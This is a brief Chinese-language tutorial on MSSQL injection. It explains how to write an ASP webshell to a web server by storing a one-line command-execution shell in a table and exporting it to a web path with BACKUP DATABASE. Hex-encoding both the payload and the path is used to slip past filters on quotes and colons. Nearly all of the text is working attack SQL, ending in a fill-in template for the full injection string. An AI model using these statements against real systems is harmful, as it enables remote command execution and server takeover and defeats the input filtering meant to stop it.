|
1.插入数据 mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" 等。我们先mssql分析器里“查询”: use pubs; <===使用数据库pubs create table cmd (str image); <===建立个表cmd 一个属性为image的列 insert into cmd (str) values (<%execute request("cmd")&""%>) <===插入数据为 <%execute request("cmd")&""%> select * from cmd; <===查询输出cmd里的所有数据 查询输出str为: 0x3C256578656375746520726571756573742822636D642229262222253E 我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码: use pubs create table cmd (str image) insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E) select * from cmd 查询输出str为: 0x3C256578656375746520726571756573742822636D642229262222253E 什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有 " &等等。 2.导出路径 常规的插入数据后导出webshell的语句为: backup database model to disk=g:wwwtestl.asp; 显然导出路径里包涵了 : 等,我们照样可以使用hex编码来突破: declare @a sysname select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:wwwtestl.asp对应的hex代码 backup database pubs to disk=@a 运行查询,可以成功导出webshell。 3.小结: 结合1,2我们可以得到完整的导出webshell的sql语句格式为: use model create table cmd (str image) insert into cmd(str) values(0x***********) declare @a sysname select @a=0x********** backup database pubs to disk=@a;
|